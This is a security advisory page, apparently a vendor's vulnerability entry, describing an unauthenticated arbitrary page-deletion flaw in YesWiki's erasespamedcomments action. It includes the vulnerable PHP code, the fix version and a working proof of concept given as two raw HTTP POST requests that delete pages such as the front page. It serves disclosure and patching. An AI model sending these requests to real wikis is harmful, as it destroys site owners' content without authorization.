GHSA-6x7x-gcmf-7r8x is a critical-severity (CVSS 9.1) Incorrect Default Permissions vulnerability in yeswiki/yeswiki. O3 Security confirms whether GHSA-6x7x-gcmf-7r8x is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6x7x-gcmf-7r8x plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 369,023 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.
The action's delete() callee is PageManager::deleteOrphaned(), which despite its name does not check whether the target page is orphaned: it issues an unconditional DELETE against pages, links, acls, triples, referrers, and tags tables.
Details
Three issues compose the vulnerability.
-
actions/EraseSpamedCommentsAction.phpperforms no authorization check before processing$_POST['clean']/$_POST['suppr'][]inactions/EraseSpamedCommentsAction.php:public function run() { $wiki = &$this->wiki; ob_start(); // ... elseif (isset($_POST['clean'])) { $deletedPages = ''; if (!empty($_POST['suppr'])) { foreach ($_POST['suppr'] as $page) { echo 'Effacement de : ' . $page . "<br />\n"; if ($wiki->services->get(PageController::class)->delete($page)) { $deletedPages .= $page . ', '; } } } } }No
UserIsAdmin(), noUserIsOwner(), noHasAccess('write', $page)per-target check, no CSRF token check. -
The default action ACL grants access to everyone in
includes/YesWiki.php:$acl = empty($this->config['permissions'][$moduleType][$module]) ? '*' : $this->config['permissions'][$moduleType][$module];if ($acl === null) { return true; } return $this->CheckACL($acl, $user);No shipped
permissionsmap gateserasespamedcommentsto admins, soPerformer::CheckModuleACL('erasespamedcomments', 'action')returnstruefor anonymous users. -
PageController::delete()andPageManager::deleteOrphaned()perform no authorization check and do not validate that the page is actually orphaned inincludes/controllers/PageController.php:38–48:public function delete(string $tag): bool { if ($this->entryManager->isEntry($tag)) { return $this->entryController->delete($tag); } else { $this->pageManager->deleteOrphaned($tag); $this->wiki->LogAdministrativeAction( $this->authController->getLoggedUserName(), 'Suppression de la page ->""' . $tag . '""' ); return true; } }
in includes/services/PageManager.php:289–310:
public function deleteOrphaned($tag)
{
if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
unset($this->ownersCache[$tag]);
if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
$this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
$this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
$this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
// ...further unconditional DELETEs across triples, referrers, tags
}
The companion isOrphaned() method (line 284) exists but is never called from deleteOrphaned(). The function name is misleading as it deletes any page, not just orphans.
PoC
Default fresh install where default_write_acl='*' (per includes/YesWikiInit.php:219), anonymous browsing.
- create a trigger page (anonymous)
POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
body=%7B%7Berasespamedcomments%7D%7D&submit=1
This succeeds because the new page passes aclService->hasAccess('write', 'SpamCleanup') against default_write_acl='*'.
- trigger arbitrary page deletion (anonymous)
POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage
Server response includes Effacement de : PagePrincipale and Effacement de : AnotherTargetPage. pages, links, acls, triples, referrers, and tags rows for those tags are deleted from the database.
Impact
Arbitrary page deletion, including the front page (PagePrincipale).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | all versions | 4.6.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yeswiki/yeswiki to 4.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6x7x-gcmf-7r8x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6x7x-gcmf-7r8x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6x7x-gcmf-7r8x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6x7x-gcmf-7r8x in your dependencies?
O3 detects GHSA-6x7x-gcmf-7r8x across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.